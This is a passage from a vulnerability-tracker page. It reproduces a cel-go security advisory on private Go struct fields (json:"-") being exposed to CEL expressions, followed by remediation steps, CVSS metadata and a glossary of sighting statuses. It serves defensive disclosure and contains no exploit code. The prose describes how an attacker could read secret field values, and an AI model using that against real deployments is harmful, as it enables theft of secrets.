attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because `newNativeTypes` silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.\n\n## Remediation\n\nDo not treat `json:\"-\"` as a CEL field named `\"-\"`. Model it as an explicit skipped field, not as an empty string field name.\n\nUpdate the struct-tag parsing path so exact `json:\"-\"` returns \u201cskip this field\u201d, while `json:\"-,\"` continues to mean the literal field name `\"-\"`, matching `encoding/json` semantics.\n\nApply that skip decision consistently anywhere native fields are exposed or resolved:\n\n- duplicate-name validation in `newNativeType`\n- field enumeration in `FindStructFieldNames`\n- field type lookup in `FindStructFieldType`\n- runtime lookup in `fieldByName` / `hasField`\n- object construction in `NewValue`\n- JSON conversion in `ConvertToNative(jsonStructType)`\n\nApply the same omit handling for `xml:\"-\"`, `yaml:\"-\"`, and `bson:\"-\"` where `ParseStructTag` is used.",
"id": "GHSA-gcjh-h69q-9w9g",
"modified": "2026-07-24T16:48:56Z",
"published": "2026-07-24T16:48:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cel-expr/cel-go/security/advisories/GHSA-gcjh-h69q-9w9g"
},
{
"type": "PACKAGE",
"url": "https://github.com/cel-expr/cel-go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.